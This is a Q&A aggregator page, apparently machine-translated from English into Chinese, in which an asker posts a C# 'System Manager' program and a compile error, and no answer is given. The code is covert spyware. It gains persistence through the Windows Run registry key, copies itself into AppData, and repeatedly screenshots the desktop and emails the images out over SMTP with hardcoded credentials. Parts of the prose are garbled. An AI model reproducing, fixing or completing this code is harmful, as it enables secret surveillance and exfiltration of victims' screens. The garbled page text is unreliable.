本文介绍了T创建系统管理器程序,但错误:他名称'initializecomponent'在当前上下文中不存在..请帮助我的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Web;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;
namespace System_Manager
{
public partial class Form1 : Form
{
string destination, currentdir, imagesave, username;
public Form1()
{
InitializeComponent();
}
void registerforstartup()
{
RegistryKey reg;
reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
pathsetter();
reg.SetValue("System Manager", destination);
}
void pathsetter()
{
username = Environment.UserName;
currentdir = Environment.CurrentDirectory;
destination = @"C:\Users\" + username + @"\AppData\Roaming\System Manager.exe";
currentdir = currentdir + @"\System Manager.exe";
}
void copysoftware()
{
pathsetter();
File.Copy(currentdir, destination);
}
void imagecapture(int j)
{
System.Threading.Thread.Sleep(5000);
SendKeys.Send("{PRTSC}");
Image img = Clipboard.GetImage();
imagesave = "C:\\System\\img" + j + ".jpg";
if (File.Exists(imagesave))
{
j++;
}
else
{
img.Save(imagesave);
}
MailMessage mail = new MailMessage("[email protected]", "[email protected]");
SmtpClient client = new SmtpClient("smtp.mail.yahoo.com", 587);
client.EnableSsl = true;
client.UseDefaultCredentials = false;
mail.Subject = "Abdullah";
mail.Body = "Hello";
mail.Attachments.Add(new Attachment(imagesave));
client.Credentials = new System.Net.NetworkCredential("[email protected]", "abdurrehman");
client.Timeout = 1000000000;
client.Send(mail);
}
private void Form1_Load(object sender, EventArgs e)
{
int j = 0;
/* string mainpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
mainpath = Path.Combine(mainpath, @"\Roaming\System\");*/
if (!Directory.Exists(@"C:/System/"))
{
Directory.CreateDirectory(@"C:/System/");
}
string[] filepath = Directory.GetFiles(@"C:/System/");
foreach (string filepa in filepath)
{
File.Delete(filepa);
}
registerforstartup();
if (!File.Exists(destination))
{
copysoftware();
}
while (j >= 0)
{
try
{
imagecapture(j);
j++;
}
catch
{
}
}
}
}
}
我的尝试:
c他名称'InitializeComponent'在当前上下文中不存在他名称'InitializeComponent'在当前上下文中不存在
What I have tried:
c he name 'InitializeComponent' does not exist in the current context he name 'InitializeComponent' does not exist in the current context
推荐答案
这篇关于T创建系统管理器程序,但错误:他名称'initializecomponent'在当前上下文中不存在..请帮助我的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!